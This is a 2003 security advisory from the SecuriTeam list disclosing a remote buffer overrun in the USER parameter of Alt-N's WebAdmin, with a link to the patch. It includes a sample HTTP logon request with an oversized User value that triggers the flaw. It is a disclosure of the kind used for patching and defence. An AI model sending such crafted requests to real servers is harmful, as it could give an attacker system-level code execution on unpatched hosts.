[NT] Remote System Buffer Overrun in WebAdmin.exe

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To: list@securiteam.com
Date: 24 Jun 2003 19:33:32 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
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  Remote System Buffer Overrun in WebAdmin.exe
------------------------------------------------------------------------

SUMMARY

 <http://www.altn.com/> WebAdmin allows administrators to securely manage
MDaemon, RelayFax, and WorldClient from anywhere in the world. There is a
remotely exploitable buffer overrun in the USER parameter.

DETAILS

By default the webadmin.exe process is started as a system service. Any
code being passed to the server by an attacker as a result of this buffer
overrun would therefore (based on a default install) execute with system
privileges.

POST /WebAdmin.dll?View=Logon HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/x-shockwave-flash, */*
Referer: http://ngssoftware.com:1000/
Accept-Language: en-us
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: MyUser Agent
Host: NGSSoftware.com
Content-Length: 74
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: User=NGSSOFTWARE; Lang=en; Theme=Standard

User=LONGSTRING&Password=foo&languageselect=en&Theme=Heavy&Logon=Sign+In

Fix Information:
NGSSoftware alerted ALTN to theses issues on the 19th of June 2003. A
patch has now been made available from
<ftp://ftp.altn.com/WebAdmin/Release/wa205_en.exe>
ftp://ftp.altn.com/WebAdmin/Release/wa205_en.exe

ADDITIONAL INFORMATION

The information has been provided by <mailto:mark@ngssoftware.com> Mark
Litchfield.

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